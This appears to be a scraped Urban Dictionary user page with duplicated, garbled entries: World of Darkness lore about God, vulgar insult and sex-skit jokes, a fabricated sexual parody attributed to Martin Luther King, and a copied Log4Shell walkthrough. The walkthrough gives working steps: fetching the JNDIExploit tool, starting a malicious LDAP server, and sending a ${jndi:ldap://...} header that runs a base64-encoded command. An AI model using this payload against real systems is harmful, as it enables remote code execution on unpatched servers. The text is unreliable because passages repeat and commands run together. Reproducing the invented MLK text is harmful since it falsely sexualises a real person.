Bad C dev's definitions
God is the Supreme being and creator of all things according in the World of Darkness.
Generally, mortals identify God with the monotheistic deity presented by some religions. According to the Abrahamic religions, this god is named as Yahweh, Elohim, Jehovah or Allah. In China, he is known as the August Personage of Jade. That being said, he has many identities and purposes that span across the world.
God was the first being to exist. According to this belief God had no creator and was never made; he has always existed and was present at the beginning of the universe, known to the mages as the Prime. According to the tradition, God created the world and the universe by His divine will and power. God's motivation for creating the world is not explicitly explained in scripture, but it is believed to have been an act of divine love and kindness. He is seen as the supreme and transcendent being, who chose to create the universe and everything in it as an act of love and providence.
Generally, mortals identify God with the monotheistic deity presented by some religions. According to the Abrahamic religions, this god is named as Yahweh, Elohim, Jehovah or Allah. In China, he is known as the August Personage of Jade. That being said, he has many identities and purposes that span across the world.
God was the first being to exist. According to this belief God had no creator and was never made; he has always existed and was present at the beginning of the universe, known to the mages as the Prime. According to the tradition, God created the world and the universe by His divine will and power. God's motivation for creating the world is not explicitly explained in scripture, but it is believed to have been an act of divine love and kindness. He is seen as the supreme and transcendent being, who chose to create the universe and everything in it as an act of love and providence.
The twotd (word of the lord) says Caine was cursed by God for murdering his brother Abel. Cainite mythology holds up to a high degree, with the story of Caine and Abel recognized by vampires that predate Judaism, and in certain cases recorded by Vampires at some time before Judaism. Special mention of this is made in Demon: The Fallen, where the stories of a certain desert tribe turn out to be unusually accurate - if, from Lucifer's point of view, biased. Obviously, Demons believe in God as much as they believe in themselves. Demons knew God, but their interpretation of God is tied up in a complex love/hate relationship represented by their Torment. Whatever Demons knew of God, however, they don't know what God is doing right now.
The Kuei-jin believe they know the answer to that one, however. According to the Wan Kuei, the "August Personage of Jade" turned his face on them when he cursed them, much like he did to the Yama Kings when he cursed them. The Wan Kuei believe in a god, they just don't necessarily believe that he's a forgiving god. They know this because they returned from their afterlife in the Yomi Hells.
The Kuei-jin believe they know the answer to that one, however. According to the Wan Kuei, the "August Personage of Jade" turned his face on them when he cursed them, much like he did to the Yama Kings when he cursed them. The Wan Kuei believe in a god, they just don't necessarily believe that he's a forgiving god. They know this because they returned from their afterlife in the Yomi Hells.
by Bad C dev November 17, 2024
Get the Twotdmug. by Bad C dev July 25, 2021
Get the prepsimug. A blog about porn. What did you expect? Go fuck yourself. Oh wait, you just did that yesterday. Pffft. When are you going to wake up and get a physical girlfriend instead of jacking off to Urban Dictionary definitions?!?! You have a life. Now, take control over it.
Urban Dictionary is like a super-massive star except that it's a super-massive pornblog. When too much iron forms, the rate of nuclear fusion in UD will slow down to a point where the outward pressure exerted by the fusion is insufficient to counteract the massive weight of the blog, resulting in a long-drawn-out collapse, leading to the formation of a black hole which will suck in everything within a few light-years. Then, its going to emit Hawking Radiation, leading to the resurrection of Steven Hawking, who will have newfound tractor beams coming from his eyes which he will use to control and subjugate his loyal servents. All hail Steven Hawking, future tyrant of the human race.
by Bad C dev February 26, 2021
Get the pornblogmug. by Bad C dev November 9, 2024
Get the Chocophatmug. Man: The pizza is ready!
Woman: *giggles*
*They strip off their clothes and have sex*
Delivery boy: The pizza is ready!
Smoking hot woman: *giggles*
*They strip off their clothes and have sex*
Woman: *giggles*
*They strip off their clothes and have sex*
Delivery boy: The pizza is ready!
Smoking hot woman: *giggles*
*They strip off their clothes and have sex*
by Bad C dev October 15, 2021
Get the The pizza is readymug. The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
To execute commands with Log4Shell, I’ll be spinning up an LDAP server with the capabilities to exploit JNDI injection attacks written by feihong-cs. Run the following to download the malicious LDAP server:
cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip
With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):
echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0
And then make the following request to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'
We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip
With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):
echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0
And then make the following request to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'
We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
by Bad C dev December 15, 2021
Get the Log4Shellmug. Secret except from MLK when he got horny in jail after writing his I have a dream speech and wrote the xxx version of it.
I have a dream.
I have a dream to fuck all the hot sexy women in all the world.
My dream assumes that 1 in 40 people are not too ugly to fuckable.
And I am bisexual so this dream includes men too.
I will pause time and fulfill this dream in 27 years time, working 12 hour shifts every day and fucking 1 woman or man every hour.
Yes sir, I do have a dream, and I will accomplish my dream and make it known to all the world my dream.
I have a dream to fuck all the hot sexy women in all the world.
My dream assumes that 1 in 40 people are not too ugly to fuckable.
And I am bisexual so this dream includes men too.
I will pause time and fulfill this dream in 27 years time, working 12 hour shifts every day and fucking 1 woman or man every hour.
Yes sir, I do have a dream, and I will accomplish my dream and make it known to all the world my dream.
by Bad C dev December 3, 2022
Get the I have a dream to fuckmug.